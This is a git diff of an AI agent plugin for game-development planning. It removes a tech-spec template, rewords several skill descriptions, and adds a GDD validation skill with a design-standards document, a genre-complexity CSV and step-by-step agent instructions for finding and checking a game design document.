-       > The task should: review `{finalFile}` and return a list of findings.
-
-    2. **Process Findings**:
-       > Capture the findings from the task output.
-       > **If zero findings:** HALT - this is suspicious. Re-analyze or request user guidance.
-       > Evaluate severity (Critical, High, Medium, Low) and validity (real, noise, undecided).
-       > DO NOT exclude findings based on severity or validity unless explicitly asked to do so.
-       > Order findings by severity.
-       > Number the ordered findings (F1, F2, F3, etc.).
-       > If TodoWrite or similar tool is available, turn each finding into a TODO, include ID, severity, validity, and description in the TODO; otherwise present findings as a table with columns: ID, Severity, Validity, Description
-
-    3. Return here and redisplay menu.
-
-### 5. Exit Workflow
-
-**When user selects [D]:**
-
-"**All done!** Your tech-spec is ready at:
-
-`{finalFile}`
-
-When you're ready to implement, run:
-
-```
-quick-dev {finalFile}
-```
-
-Ship it!"
-
----
-
-## REQUIRED OUTPUTS:
-
-- MUST update status to 'ready-for-dev'.
-- MUST rename file to `tech-spec-{slug}.md`.
-- MUST provide clear next-step guidance and recommend fresh context for dev.
-
-## VERIFICATION CHECKLIST:
-
-- [ ] Complete spec presented for review.
-- [ ] Requested changes implemented.
-- [ ] Spec verified against **READY FOR DEVELOPMENT** standard.
-- [ ] `stepsCompleted: [1, 2, 3, 4]` set and file renamed.
diff --git a/plugins/bmad/skills/gds-quick-spec/tech-spec-template.md b/plugins/bmad/skills/gds-quick-spec/tech-spec-template.md
deleted file mode 100644
index 8d20114..0000000
--- a/plugins/bmad/skills/gds-quick-spec/tech-spec-template.md
+++ /dev/null
@@ -1,74 +0,0 @@
----
-title: '{title}'
-slug: '{slug}'
-created: '{date}'
-status: 'in-progress'
-stepsCompleted: []
-tech_stack: []
-files_to_modify: []
-code_patterns: []
-test_patterns: []
----
-
-# Tech-Spec: {title}
-
-**Created:** {date}
-
-## Overview
-
-### Problem Statement
-
-{problem_statement}
-
-### Solution
-
-{solution}
-
-### Scope
-
-**In Scope:**
-{in_scope}
-
-**Out of Scope:**
-{out_of_scope}
-
-## Context for Development
-
-### Codebase Patterns
-
-{codebase_patterns}
-
-### Files to Reference
-
-| File | Purpose |
-| ---- | ------- |
-
-{files_table}
-
-### Technical Decisions
-
-{technical_decisions}
-
-## Implementation Plan
-
-### Tasks
-
-{tasks}
-
-### Acceptance Criteria
-
-{acceptance_criteria}
-
-## Additional Context
-
-### Dependencies
-
-{dependencies}
-
-### Testing Strategy
-
-{testing_strategy}
-
-### Notes
-
-{notes}
diff --git a/plugins/bmad/skills/gds-retrospective/SKILL.md b/plugins/bmad/skills/gds-retrospective/SKILL.md
index 8a5851e..4927d0a 100644
--- a/plugins/bmad/skills/gds-retrospective/SKILL.md
+++ b/plugins/bmad/skills/gds-retrospective/SKILL.md
@@ -1,6 +1,6 @@
 ---
 name: gds-retrospective
-description: 'Facilitate a retrospective after completing a game development epic. Use when the user says "run a retrospective" or "lets do a retro"'
+description: 'Post-epic review to extract lessons and assess success. Use when the user says "run a retrospective" or "lets retro the epic [epic]"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-sprint-planning/SKILL.md b/plugins/bmad/skills/gds-sprint-planning/SKILL.md
index 22b04e4..2dd62c2 100644
--- a/plugins/bmad/skills/gds-sprint-planning/SKILL.md
+++ b/plugins/bmad/skills/gds-sprint-planning/SKILL.md
@@ -1,6 +1,6 @@
 ---
 name: gds-sprint-planning
-description: 'Generate or update sprint status from epic files for sprint planning. Use when the user says "plan the sprint" or "create sprint plan"'
+description: 'Generate sprint status tracking from epics. Use when the user says "run sprint planning" or "generate sprint plan"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-sprint-status/SKILL.md b/plugins/bmad/skills/gds-sprint-status/SKILL.md
index 9899588..64c4988 100644
--- a/plugins/bmad/skills/gds-sprint-status/SKILL.md
+++ b/plugins/bmad/skills/gds-sprint-status/SKILL.md
@@ -1,6 +1,6 @@
 ---
 name: gds-sprint-status
-description: 'Summarize current sprint progress and surface risks. Use when the user says "sprint status" or "how is the sprint going"'
+description: 'Summarize sprint status and surface risks. Use when the user says "check sprint status" or "show sprint status"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-test-automate/SKILL.md b/plugins/bmad/skills/gds-test-automate/SKILL.md
index 34344a7..a46115e 100644
--- a/plugins/bmad/skills/gds-test-automate/SKILL.md
+++ b/plugins/bmad/skills/gds-test-automate/SKILL.md
@@ -3,4 +3,4 @@ name: gds-test-automate
 description: 'Generate automated game tests for gameplay systems. Use when the user says "automate tests" or "generate tests"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-test-design/SKILL.md b/plugins/bmad/skills/gds-test-design/SKILL.md
index 02bfbfe..40ee993 100644
--- a/plugins/bmad/skills/gds-test-design/SKILL.md
+++ b/plugins/bmad/skills/gds-test-design/SKILL.md
@@ -3,4 +3,4 @@ name: gds-test-design
 description: 'Create comprehensive game test scenarios. Use when the user says "test design" or "design tests"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-test-design/test-design-template.md b/plugins/bmad/skills/gds-test-design/test-design-template.md
index fd68675..5be4a02 100644
--- a/plugins/bmad/skills/gds-test-design/test-design-template.md
+++ b/plugins/bmad/skills/gds-test-design/test-design-template.md
@@ -202,4 +202,4 @@ SCENARIO: Basic Save/Load Round Trip
 
 - Game Design Document
 - Platform Certification Guidelines
-- Knowledge Base: `qa-index.csv`
+- Knowledge Base: `qa-index.csv` (loaded by `gds-agent-game-dev` from `{skill_root}/gametest/qa-index.csv`)
diff --git a/plugins/bmad/skills/gds-test-framework/SKILL.md b/plugins/bmad/skills/gds-test-framework/SKILL.md
index e74d42f..7e6271b 100644
--- a/plugins/bmad/skills/gds-test-framework/SKILL.md
+++ b/plugins/bmad/skills/gds-test-framework/SKILL.md
@@ -3,4 +3,4 @@ name: gds-test-framework
 description: 'Initialize game test framework for Unity, Unreal, or Godot. Use when the user says "test framework" or "set up testing"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-test-review/SKILL.md b/plugins/bmad/skills/gds-test-review/SKILL.md
index e5bcc6d..023ae74 100644
--- a/plugins/bmad/skills/gds-test-review/SKILL.md
+++ b/plugins/bmad/skills/gds-test-review/SKILL.md
@@ -3,4 +3,4 @@ name: gds-test-review
 description: 'Review test quality and coverage. Use when the user says "test review" or "review tests"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-validate-gdd/SKILL.md b/plugins/bmad/skills/gds-validate-gdd/SKILL.md
new file mode 100644
index 0000000..25b1d40
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-gdd/SKILL.md
@@ -0,0 +1,6 @@
+---
+name: gds-validate-gdd
+description: 'Validate a GDD against standards. Use when the user says "validate this GDD" or "run GDD validation".'
+---
+
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-validate-gdd/data/gdd-purpose.md b/plugins/bmad/skills/gds-validate-gdd/data/gdd-purpose.md
new file mode 100644
index 0000000..d4a374f
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-gdd/data/gdd-purpose.md
@@ -0,0 +1,224 @@
+# BMAD GDD Purpose
+
+**The GDD is the primary planning artifact in the Game Dev Studio (GDS) module. It feeds every downstream phase: architecture, epics, production, and playtesting.**
+
+In GDS, the PRD is optional and exists only for external-tool compatibility. The GDD is the canonical source of truth for game design intent.
+
+---
+
+## What is a BMAD GDD?
+
+A dual-audience document serving:
+
+1. **Human game designers, producers, and developers** - Vision, pillars, team alignment, playtest briefs
+2. **LLM downstream consumption** - Architecture → Epics → Dev stories → Playtest plans → Game Dev AI Agents
+
+Each successive artifact becomes more granular and more AI-tailored. The GDD is where the design intent is captured in its purest form, before engine and implementation concerns enter the picture.
+
+---
+
+## Core Philosophy: Information Density
+
+**High Signal-to-Noise Ratio on Game Mechanics**
+
+Every sentence must carry design information. LLMs consume precise, dense content efficiently - and game design already suffers from pitch-deck-style fluff.
+
+**Anti-Patterns (Eliminate These):**
+
+- ❌ "The player will be able to..." → ✅ "The player can..."
+- ❌ "It is our intention to create a game that..." → ✅ State the design directly
+- ❌ "Players will experience fun and engaging gameplay" → ✅ Describe the specific mechanic that produces engagement
+- ❌ Marketing copy and pitch language → ✅ Concrete mechanics, systems, and numbers
+
+**Goal:** Maximum design information per word. Zero fluff, zero marketing.
+
+---
+
+## The Traceability Chain
+
+**GDD starts the chain:**
+
+```
+Core Fantasy / Vision → Game Pillars → Core Gameplay Loop → Mechanics & Systems → Epics → Stories
+```
+
+**In the GDD, establish:**
+
+- Vision → Pillars alignment
+- Pillars → Gameplay Loop reinforcement (the loop should embody the pillars)
+- Gameplay Loop → Mechanics mapping (each mechanic serves the loop)
+- Mechanics → Epics (each epic delivers mechanics)
+- All content traceable to the core fantasy
+
+**Why:** Every downstream artifact (architecture, epics, stories, playtest plans) must trace back to documented design intent. This chain is what prevents scope creep, feature bloat, and mechanics that exist for their own sake.
+
+---
+
+## What Makes Great Mechanics and Systems?
+
+### Mechanics are Player-Facing Capabilities, Not Implementation
+
+**Good:** "The player can dash in any of 8 directions, consuming 1 stamina pip. Stamina regenerates at 1 pip/second while grounded."
+**Bad:** "We use a Rigidbody2D with AddForce and a cooldown coroutine" (engine leakage - belongs in architecture)
+
+**Good:** "Frame-perfect parries reward a 1.5x damage multiplier for 3 seconds."
+**Bad:** "Combat feels responsive and satisfying" (subjective, unmeasurable)
+
+### SMART Quality Criteria (Adapted for Game Design)
+
+**Specific:** Clear, precisely defined mechanic or system
+**Measurable:** Quantifiable values (timings, damages, costs, ranges)
+**Attainable:** Realistic within target platform, team, and timeline
+**Relevant:** Reinforces a game pillar or the core loop
+**Traceable:** Links to the vision, a pillar, or a specific player fantasy
+
+### Mechanics Anti-Patterns
+
+**Subjective Adjectives:**
+
+- ❌ "fun", "satisfying", "immersive", "responsive", "deep"
+- ✅ Use concrete values: "chain combos extend the hit window by 6 frames per successful hit"
+
+**Engine / Implementation Leakage:**
+
+- ❌ Engine APIs, node names, specific shaders, class hierarchies
+- ✅ Focus on player experience and system behavior - the engine is architecture's problem
+
+**Vague Quantifiers:**
+
+- ❌ "many enemies", "several weapons", "various environments"
+- ✅ "12 enemy archetypes", "6 primary weapons + 18 unlockable variants", "3 biomes × 4 sub-zones"
+
+**Missing Feel Criteria:**
+
+- ❌ "The jump feels good"
+- ✅ "Jump height: 3 tiles. Air time: 0.55s. Coyote time: 6 frames. Buffer window: 8 frames."
+
+---
+
+## What Makes Great Technical Constraints?
+
+### Target Specs Must Be Measurable
+
+**Template:**
+
+```
+"The game shall [metric] [platform/condition] [measurement method]"
+```
+
+**Examples:**
+
+- ✅ "Maintain 60 FPS sustained on Steam Deck at 720p Medium settings, as measured by in-engine profiler over a 10-minute combat loop"
+- ✅ "First-playable load time under 15s on PS5 from cold boot"
+- ✅ "Memory budget: 4GB on PS4, 6GB on PS5, as measured by PIX capture"
+
+### Constraint Anti-Patterns
+
+**Unmeasurable Claims:**
+
+- ❌ "Runs well on all platforms" → ✅ "60 FPS on PS5/XSX, 30 FPS on PS4/XB1"
+- ❌ "Fast load times" → ✅ "Sub-5-second level transitions on target hardware"
+
+**Missing Context:**
+
+- ❌ "60 FPS target" → ✅ "60 FPS during combat encounters with up to 6 enemies on-screen, measured on Steam Deck"
+
+---
+
+## Genre-Specific Requirements
+
+**Auto-Detect and Enforce Based on Game Type**
+
+Certain genres carry conventions that must be documented:
+
+- **Action/Platformer:** Precise movement values (jump arc, coyote time, input buffer), hit/hurt box conventions, damage formulae
+- **RPG:** Stat system, leveling curve, inventory rules, quest state machine, save/load boundaries
+- **Roguelike:** Run structure, meta-progression rules, seed determinism, balance bands
+- **Multiplayer (MOBA/Shooter):** Netcode model (lockstep/rollback/client-predict), tick rate, lag tolerance, matchmaking
+- **Puzzle:** Solution space guarantees, hint systems, difficulty ramp
+- **Narrative/Visual Novel:** Branching structure, variable/flag system, rewind/save model
+
+**Why:** Missing genre conventions in the GDD means they surface as emergencies during production. Validation should catch these up front. Steps use a `genre-complexity.csv` data file to drive genre-specific expectations.
+
+---
+
+## Document Structure (Markdown, Human-Readable)
+
+### Required Sections (canonical gds-create-gdd schema)
+
+1. **Executive Summary** - Core concept, target audience, USPs
+2. **Goals and Context** - Project goals, background, rationale
+3. **Core Gameplay** - Pillars, core gameplay loop, win/loss conditions
+4. **Game Mechanics** - Primary mechanics, controls and input
+5. **Game-Type Specific Sections** - Genre-driven sections (e.g., RPG stats, roguelike run structure)
+6. **Progression and Balance** - Player progression, difficulty curve, economy
+7. **Level Design Framework** - Level types, progression
+8. **Art and Audio Direction** - Visual style, audio approach
+9. **Technical Specifications** - Performance targets, platform specs, asset budget
+10. **Development Epics** - High-level delivery breakdown
+11. **Success Metrics** - Technical and gameplay success criteria
+12. **Out of Scope** - Explicit scope boundaries
+13. **Assumptions and Dependencies** - External risks
+
+### Formatting for Dual Consumption
+
+**For Humans:**
+
+- Clear, direct language - no pitch-deck bloat
+- Logical flow from vision to execution
+- Easy for producers, leads, and external collaborators to review
+
+**For LLMs:**
+
+- `##` Level 2 headers for all main sections (enables extraction)
+- Consistent structure and patterns
+- Concrete numbers wherever possible
+- High information density
+
+---
+
+## Downstream Impact
+
+**How the GDD Feeds Next Artifacts:**
+
+**Architecture:**
+
+- Mechanics → system design (physics, AI, state machines)
+- Technical specs → engine choice, rendering pipeline, memory layout
+- Genre conventions → framework decisions (netcode model, save system)
+
+**Epics & Stories:**
+
+- Mechanics → epics (1 mechanic often = 1 epic)
+- Level framework → content stories
+- Progression → systems stories
+- Traceability → stories map back to pillars
+
+**Playtesting / Gametest:**
+
+- Pillars → playtest focus areas
+- Success metrics → playtest success criteria
+- Core loop → the thing we're actually testing
+
+**Development AI Agents:**
+
+- Precise mechanics → implementation clarity
+- Measurable specs → automated performance gates
+- Genre conventions → framework selection
+- Success metrics → telemetry targets
+
+---
+
+## Summary: What Makes a Great BMAD GDD?
+
+✅ **High Information Density** - Every sentence carries design weight, zero pitch-deck fluff
+✅ **Measurable Mechanics** - Concrete numbers for timings, damages, costs, ranges
+✅ **Clear Traceability** - Each mechanic links to a pillar or core loop, each pillar to the vision
+✅ **Genre Awareness** - Genre-specific sections auto-detected and included
+✅ **Zero Anti-Patterns** - No subjective adjectives, no engine leakage, no vague quantifiers
+✅ **Dual Audience Optimized** - Human-readable AND LLM-consumable
+✅ **Markdown Format** - Professional, clean, accessible to designers and AI tools alike
+
+---
+
+**Remember:** The GDD is the foundation of GDS. Quality here ripples through architecture, epics, stories, and playtesting. A dense, precise, well-traced GDD makes every downstream phase dramatically more effective - and prevents the "we never actually decided what this game is" spiral that kills projects.
diff --git a/plugins/bmad/skills/gds-validate-gdd/data/genre-complexity.csv b/plugins/bmad/skills/gds-validate-gdd/data/genre-complexity.csv
new file mode 100644
index 0000000..7b19feb
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-gdd/data/genre-complexity.csv
@@ -0,0 +1,26 @@
+genre,signals,complexity,key_concerns,required_knowledge,suggested_workflow,special_sections
+action-platformer,"platformer,jump,dash,combat,precision,side-scroller,movement",high,"Frame-perfect feel values;Hit/hurt box conventions;Coyote time and input buffers;Checkpoint cadence;Level flow and gating","Platformer movement feel;Hitbox design;Level pacing;Difficulty curve via geometry","genre-research","movement_feel_table;combat_specs;level_gating;difficulty_curve"
+rpg,"rpg,stats,inventory,quests,leveling,party,dialogue,skills",high,"Stat system coherence;Leveling curve;Inventory rules;Quest state machine;Save/load scope;Dialogue variables","Stat design and balancing;Economy and loot tables;Quest scripting patterns;Save-state boundaries;Branching narrative","genre-research","stat_system;leveling_curve;inventory_rules;quest_state_machine;save_model"
+roguelike,"roguelike,procedural,permadeath,runs,seeded,meta-progression",high,"Run structure;Seed determinism;Meta vs in-run progression;Balance bands across runs;Player retention hooks","Procedural generation patterns;Meta-progression design;Seed management;Per-run difficulty scaling","genre-research","run_structure;meta_progression;seed_determinism;balance_bands"
+shooter,"shooter,fps,tps,aim,projectile,recoil,weapons,gunplay",high,"Weapon feel (TTK, recoil, spread);Netcode (if multiplayer);Hitreg model;Map flow and choke points;Spawn logic","Gunplay tuning;Netcode model selection;Hitreg design;Map readability;Spawn algorithms","genre-research","weapon_feel_table;netcode_model;hitreg_spec;map_flow"
+moba,"moba,lanes,heroes,champions,team,jungle,ranked,pvp",high,"Hero kit diversity;Lane/map balance;Matchmaking and MMR;Tick rate and latency tolerance;Role identity","MOBA kit design;Map/lane pacing;Matchmaking systems;Anti-toxicity tooling;Esports readiness","genre-research","hero_kit_matrix;map_pacing;matchmaking_model;tick_rate_spec"
+fighting,"fighting,combos,frame data,neutral,counter,competitive,1v1",high,"Frame data accuracy;Rollback netcode;Input parsing;Combo system boundaries;Training mode completeness","Frame data theory;Rollback netcode;Input buffer design;Competitive balance","genre-research","frame_data_tables;netcode_model;input_spec;training_mode"
+survival,"survival,crafting,hunger,thirst,resources,base-building,danger",high,"Resource scarcity curves;Day/night or seasonal cycles;Base persistence;Hostile threat pacing;Multi-session continuity","Crafting tree design;Resource economy;Threat AI pacing;Persistence model","genre-research","resource_economy;crafting_tree;threat_pacing;persistence_model"
+simulation,"simulation,management,tycoon,systems,building,sandbox",high,"System interaction clarity;Long-tail balance;Emergent behavior handling;Save-scum mitigation;End-state definition","Systems design and interaction;Balance for long sessions;Emergent gameplay;End-state or open-endedness","genre-research","systems_map;balance_long_tail;emergence_boundaries;end_state"
+strategy,"strategy,rts,4x,turn-based,tactics,resources,units",medium,"Unit role clarity;Economy tempo;Map-based balance;AI design;Turn/tick pacing","Unit design and counters;Economy curves;Strategic AI;Pacing","genre-research","unit_matrix;economy_tempo;ai_design;pacing_model"
+horror,"horror,tension,atmosphere,fear,scare,jumpscare,psychological",medium,"Atmosphere and audio design;Scare pacing (not spam);Resource scarcity;Save-point pressure;Narrative framing","Horror pacing;Audio/atmosphere design;Tension escalation;Narrative framing","genre-research","atmosphere_design;scare_pacing;resource_scarcity;save_model"
+metroidvania,"metroidvania,exploration,abilities,interconnected,gating,backtracking",medium,"Ability-based gating graph;Map readability;Backtracking pacing;Upgrade pacing;Softlock prevention","Gating graphs;Map design;Upgrade pacing;Softlock analysis","genre-research","gating_graph;map_design;upgrade_pacing;softlock_prevention"
+adventure,"adventure,story,narrative,exploration,puzzle,point-and-click",medium,"Narrative branching clarity;Puzzle fairness;Pacing of reveals;Replayability of choices;Inventory/clue tracking","Narrative design;Puzzle design;Pacing;Choice architecture","genre-research","narrative_structure;puzzle_fairness;pacing;choice_architecture"
+puzzle,"puzzle,logic,solve,brain,match,pattern",medium,"Solution-space guarantees;Hint system design;Difficulty ramp;Level generation (if procedural);Tutorialization","Puzzle theory;Hint systems;Difficulty curves;Tutorial flow","genre-research","solution_space;hint_system;difficulty_ramp;tutorialization"
+racing,"racing,track,vehicle,speed,lap,drift,kart",medium,"Vehicle handling model;Track design language;AI rubber-banding policy;Power-up balance (if any);Multiplayer desync","Vehicle physics;Track design;AI driver design;Netcode","genre-research","vehicle_handling;track_design;ai_driver_model;mp_model"
+sports,"sports,team,ball,realism,physics,athlete",medium,"Rule fidelity vs arcade feel;Physics consistency;Season/career mode;Roster data pipelines;Multiplayer integrity","Sport rules modeling;Physics tuning;Career systems;Online integrity","genre-research","rule_model;physics_spec;career_mode;online_integrity"
+card-game,"card,deck,hand,draw,ccg,tcg,deckbuilder",medium,"Card-pool balance;Rarity and economy;Draw mechanics;Anti-infinite-loop rules;New-player experience","Card design;Deck construction rules;Economy (for CCGs);Format rotation","genre-research","card_pool_balance;economy_model;draw_rules;nux_flow"
+tower-defense,"tower-defense,wave,tower,placement,lane",medium,"Wave pacing;Tower role distinction;Map/path balance;Economy per wave;Endless-mode scaling","Wave design;Tower taxonomy;Economy curves;Endless scaling","genre-research","wave_pacing;tower_matrix;economy_per_wave;endless_scaling"
+visual-novel,"visual-novel,choice,branching,dialogue,narrative,ending",medium,"Branching structure;Variable/flag system;Rewind/save model;Route coverage;Localization budget","Branching narrative;Flag systems;Save models;Route design;Localization","genre-research","branching_structure;flag_system;save_model;route_coverage"
+rhythm,"rhythm,music,beat,timing,note,chart",medium,"Timing window accuracy;Audio latency calibration;Chart authoring pipeline;Difficulty tiers;Song-licensing or content pipeline","Rhythm game feel;Audio engineering;Chart authoring tools;Difficulty tiering","genre-research","timing_windows;latency_calibration;chart_pipeline;difficulty_tiers"
+turn-based-tactics,"tactics,grid,turns,positioning,squad",medium,"Grid rules (pathing, LOS, height);Turn order determination;Action economy;Enemy AI;Mission variety","Tactics grid rules;Action economy;Enemy AI patterns;Mission design","genre-research","grid_rules;action_economy;enemy_ai;mission_variety"
+idle-incremental,"idle,incremental,clicker,automation,progression",low,"Progression pacing;Reset/prestige mechanics;Offline gains;Long-session balance;Content runway","Progression curves;Prestige design;Offline economy;Monetization (if applicable)","genre-research","progression_pacing;prestige_model;offline_gains"
+sandbox,"sandbox,build,create,freedom,minimal goals",low,"Creative tool depth;Performance at scale;Saving/sharing user content;Optional goals;UGC moderation","Creative tools;Performance at scale;UGC pipelines;Moderation","genre-research","creative_tools;perf_at_scale;ugc_pipeline"
+party-game,"party,minigame,local-multiplayer,casual",low,"Minigame variety;Controller/ input sharing;Round pacing;Accessibility;Drop-in/drop-out","Minigame design;Local MP patterns;Pacing;Accessibility","genre-research","minigame_roster;local_mp_model;round_pacing"
+text-based,"text,parser,interactive-fiction,mud",low,"Parser coverage vs choice-based;World state tracking;Save model;Readability on target devices","Parser design or choice architecture;World state;Save models","genre-research","parser_or_choice;world_state;save_model"
+general,"",low,"Standard gameplay concerns;Basic pacing;Target-platform feel","General game design practices","continue","standard_sections"
diff --git a/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-01-discovery.md b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-01-discovery.md
new file mode 100644
index 0000000..d2d5159
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-01-discovery.md
@@ -0,0 +1,239 @@
+---
+name: 'step-v-01-discovery'
+description: 'Document Discovery & Confirmation - Handle fresh-context validation, confirm GDD path, discover input documents'
+
+# File references (ONLY variables used in this step)
+nextStepFile: './step-v-02-format-detection.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
+gddPurpose: '../data/gdd-purpose.md'
+---
+
+# Step V-1: Document Discovery & Confirmation
+
+## STEP GOAL:
+
+Handle fresh-context validation by confirming the GDD path, discovering and loading input documents from frontmatter, and initializing the validation report.
+
+## MANDATORY EXECUTION RULES (READ FIRST):
+
+### Universal Rules:
+
+- 🛑 NEVER generate content without user input
+- 📖 CRITICAL: Read the complete step file before taking any action
+- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
+- 📋 YOU ARE A FACILITATOR, not a content generator
+- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
+
+### Role Reinforcement:
+
+- ✅ You are a Validation Architect and Quality Assurance Specialist
+- ✅ If you already have been given communication or persona patterns, continue to use those while playing this new role
+- ✅ We engage in collaborative dialogue, not command-response
+- ✅ You bring systematic validation expertise and analytical rigor
+- ✅ User brings game design knowledge and specific GDD context
+
+### Step-Specific Rules:
+
+- 🎯 Focus ONLY on discovering the GDD and input documents, not validating yet
+- 🚫 FORBIDDEN to perform any validation checks in this step
+- 💬 Approach: Systematic discovery with clear reporting to user
+- 🚪 This is the setup step - get everything ready for validation
+
+## EXECUTION PROTOCOLS:
+
+- 🎯 Discover and confirm GDD to validate
+- 💾 Load GDD and all input documents from frontmatter
+- 📖 Initialize validation report next to GDD
+- 🚫 FORBIDDEN to load next step until user confirms setup
+
+## CONTEXT BOUNDARIES:
+
+- Available context: GDD path (user-specified or discovered), workflow configuration
+- Focus: Document discovery and setup only
+- Limits: Don't perform validation, don't skip discovery
+- Dependencies: Configuration loaded from GDD workflow.md initialization
+
+## MANDATORY SEQUENCE
+
+**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
+
+### 1. Load GDD Purpose and Standards
+
+Load and read the complete file at:
+`{gddPurpose}`
+
+This file contains the BMAD GDD philosophy, standards, and validation criteria that will guide all validation checks. Internalize this understanding - it defines what makes a great BMAD GDD.
+
+### 2. Discover GDD to Validate
+
+**If GDD path provided as invocation parameter:**
+
+- Use provided path
+
+**If no GDD path provided, auto-discover:**
+
+- Search `{planning_artifacts}` for files matching `*gdd*.md`
+- Prefer the canonical location `{planning_artifacts}/gdd.md`
+- Also check for sharded GDDs: `{planning_artifacts}/*gdd*/*.md`
+
+**If exactly ONE GDD found:**
+
+- Use it automatically
+- Inform user: "Found GDD: {discovered_path} — using it for validation."
+
+**If MULTIPLE GDDs found:**
+
+- List all discovered GDDs with numbered options
+- "I found multiple GDDs. Which one would you like to validate?"
+- Wait for user selection
+
+**If NO GDDs found:**
+
+- "I couldn't find any GDD files in {planning_artifacts}. Please provide the path to the GDD file you want to validate."
+- Wait for user to provide GDD path.
+
+### 3. Validate GDD Exists and Load
+
+Once GDD path is provided:
+
+- Check if GDD file exists at specified path
+- If not found: "I cannot find a GDD at that path. Please check the path and try again."
+- If found: Load the complete GDD file including frontmatter
+
+### 4. Extract Frontmatter and Input Documents
+
+From the loaded GDD frontmatter, extract:
+
+- `inputDocuments: []` array (if present)
+- Any other relevant metadata (classification.gameType, classification.platforms, date, etc.)
+
+**If no inputDocuments array exists:**
+Note this and proceed with GDD-only validation
+
+### 5. Load Input Documents
+
+For each document listed in `inputDocuments`:
+
+- Attempt to load the document
+- Track successfully loaded documents
+- Note any documents that fail to load
+
+**Build list of loaded input documents:**
+
+- Game Brief (if present) - typically from `gds-create-game-brief`
+- Research documents (if present)
+- Competitive analysis (if present)
+- Other reference materials
+
+### 6. Ask About Additional Reference Documents
+
+"**I've loaded the following documents from your GDD frontmatter:**
+
+{list loaded documents with file names}
+
+**Are there any additional reference documents you'd like me to include in this validation?**
+
+These could include:
+
+- Additional research or context documents
+- Competitive analysis or genre references
+- Prototype notes or playtest findings
+- Art or audio direction documents
+
+Please provide paths to any additional documents, or type 'none' to proceed."
+
+**Load any additional documents provided by user.**
+
+### 7. Initialize Validation Report
+
+Create validation report at: `{validationReportPath}`
+
+**Initialize with frontmatter:**
+
+```yaml
+---
+validationTarget: '{gdd_path}'
+validationDate: '{current_date}'
+inputDocuments: [list of all loaded documents]
+validationStepsCompleted: []
+validationStatus: IN_PROGRESS
+---
+```
+
+**Initial content:**
+
+```markdown
+# GDD Validation Report
+
+**GDD Being Validated:** {gdd_path}
+**Validation Date:** {current_date}
+
+## Input Documents
+
+{list all documents loaded for validation}
+
+## Validation Findings
+
+[Findings will be appended as validation progresses]
+```
+
+### 8. Present Discovery Summary
+
+"**Setup Complete!**
+
+**GDD to Validate:** {gdd_path}
+
+**Input Documents Loaded:**
+
+- GDD: {gdd_name} ✓
+- Game Brief: {count} {if count > 0}✓{else}(none found){/if}
+- Research: {count} {if count > 0}✓{else}(none found){/if}
+- Additional References: {count} {if count > 0}✓{else}(none){/if}
+
+**Validation Report:** {validationReportPath}
+
+**Ready to begin validation.**"
+
+### 9. Present MENU OPTIONS
+
+Display: **Select an Option:** [A] Advanced Elicitation [P] Party Mode [C] Continue to Format Detection
+
+#### EXECUTION RULES:
+
+- ALWAYS halt and wait for user input after presenting menu
+- ONLY proceed to next step when user selects 'C'
+- User can ask questions or add more documents - always respond and redisplay menu
+
+#### Menu Handling Logic:
+
+- IF A: Read fully and follow: {advancedElicitationTask}, and when finished redisplay the menu
+- IF P: Read fully and follow: {partyModeWorkflow}, and when finished redisplay the menu
+- IF C: Read fully and follow: {nextStepFile} to begin format detection
+- IF user provides additional document: Load it, update report, redisplay summary
+- IF Any other: help user, then redisplay menu
+
+---
+
+## 🚨 SYSTEM SUCCESS/FAILURE METRICS
+
+### ✅ SUCCESS:
+
+- GDD path discovered and confirmed
+- GDD file exists and loads successfully
+- All input documents from frontmatter loaded
+- Additional reference documents (if any) loaded
+- Validation report initialized next to GDD
+- User clearly informed of setup status
+- Menu presented and user input handled correctly
+
+### ❌ SYSTEM FAILURE:
+
+- Proceeding with non-existent GDD file
+- Not loading input documents from frontmatter
+- Creating validation report in wrong location
+- Proceeding without user confirming setup
+- Not handling missing input documents gracefully
+
+**Master Rule:** Complete discovery and setup BEFORE validation. This step ensures everything is in place for systematic validation checks.
diff --git a/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-02-format-detection.md b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-02-format-detection.md
new file mode 100644
index 0000000..c521680
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-02-format-detection.md
@@ -0,0 +1,202 @@
+---
+name: 'step-v-02-format-detection'
+description: 'Format Detection & Structure Analysis - Classify GDD format and route appropriately'
+
+# File references (ONLY variables used in this step)
+nextStepFile: './step-v-03-density-validation.md'
+altStepFile: './step-v-02b-parity-check.md'
+gddFile: '{gdd_file_path}'
+validationReportPath: '{validation_report_path}'
+---
+
+# Step V-2: Format Detection & Structure Analysis
+
+## STEP GOAL:
+
+Detect if the GDD follows the canonical gds-create-gdd schema and route appropriately - classify as Canonical GDS / GDS Variant / Non-Standard, with optional parity check for non-standard formats.
+
